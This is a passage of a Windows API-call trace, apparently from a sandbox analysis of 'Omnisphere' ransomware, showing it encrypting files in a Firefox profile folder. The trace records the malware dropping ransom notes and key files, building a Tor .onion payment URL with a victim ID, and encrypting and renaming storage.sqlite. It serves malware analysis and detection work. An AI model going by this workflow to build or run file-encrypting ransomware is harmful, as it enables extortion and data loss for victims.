pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.459] GetProcessHeap () returned 0x1600000 [0161.459] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17486f0 [0161.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.459] GetProcessHeap () returned 0x1600000 [0161.459] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17340d0 [0161.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17340d0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.459] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.459] GetProcessHeap () returned 0x1600000 [0161.459] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726698 [0161.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726698, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.459] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.459] GetProcessHeap () returned 0x1600000 [0161.459] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1730388 [0161.459] PathCombineW (in: pszDest=0x1730388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.459] GetProcessHeap () returned 0x1600000 [0161.459] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173a858 [0161.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.460] WriteFile (in: hFile=0x288, lpBuffer=0x173a858*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173a858*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.460] CloseHandle (hObject=0x288) returned 1 [0161.460] GetProcessHeap () returned 0x1600000 [0161.460] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17486f0 | out: hHeap=0x1600000) returned 1 [0161.460] GetProcessHeap () returned 0x1600000 [0161.460] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c938 [0161.460] PathCombineW (in: pszDest=0x162c938, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.460] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.461] CloseHandle (hObject=0x288) returned 1 [0161.461] GetProcessHeap () returned 0x1600000 [0161.461] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c938 | out: hHeap=0x1600000) returned 1 [0161.461] GetProcessHeap () returned 0x1600000 [0161.461] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172a780 | out: hHeap=0x1600000) returned 1 [0161.461] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c1abf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c2e4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="storage", cAlternateFileName="")) returned 1 [0161.461] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f76d02, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1f76d02, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x22b9f22, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0xcc, cFileName="storage.sqlite", cAlternateFileName="STORAG~1.SQL")) returned 1 [0161.461] GetProcessHeap () returned 0x1600000 [0161.461] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc0) returned 0x16415f0 [0161.461] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="storage.sqlite" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite" [0161.461] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite") returned 0x0 [0161.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.462] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=512) returned 1 [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.462] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] GetTickCount () returned 0x11681ab [0161.463] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668c58) returned 1 [0161.464] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0161.464] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.464] CryptDestroyKey (hKey=0x1639b28) returned 1 [0161.464] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0161.464] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x200, lpName=0x0) returned 0x3c0 [0161.464] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200) returned 0x1480000 [0161.464] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668708) returned 1 [0161.465] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0161.465] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.466] CryptDestroyKey (hKey=0x1639528) returned 1 [0161.467] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0161.467] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.467] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.468] GetProcessHeap () returned 0x1600000 [0161.468] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d0) returned 0x17486f0 [0161.468] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage.sqlite.omnisphere")) returned 1 [0161.469] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite.omnisphere.id" [0161.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage.sqlite.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.470] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.471] CloseHandle (hObject=0x388) returned 1 [0161.471] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.471] CloseHandle (hObject=0x3c0) returned 1 [0161.471] SetEndOfFile (hFile=0x288) returned 1 [0161.471] FlushFileBuffers (hFile=0x288) returned 1 [0161.474] CloseHandle (hObject=0x288) returned 1 [0161.474] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.474] GetProcessHeap () returned 0x1600000 [0161.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17489c8 [0161.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.474] GetProcessHeap () returned 0x1600000 [0161.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17341c0 [0161.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17341c0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.474] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.474] GetProcessHeap () returned 0x1600000 [0161.475] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726858 [0161.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726858, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.475] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.475] GetProcessHeap () returned 0x1600000 [0161.475] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172d428 [0161.475] PathCombineW (in: pszDest=0x172d428, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.475] GetProcessHeap () returned 0x1600000 [0161.475] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173d698 [0161.475] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.475] WriteFile (in: hFile=0x288, lpBuffer=0x173d698*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173d698*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.475] CloseHandle (hObject=0x288) returned 1 [0161.475] GetProcessHeap () returned 0x1600000 [0161.475] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17489c8 | out: hHeap=0x1600000) returned 1 [0161.475] GetProcessHeap () returned 0x1600000 [0161.475] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162bd08 [0161.476] PathCombineW (in: pszDest=0x162bd08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: 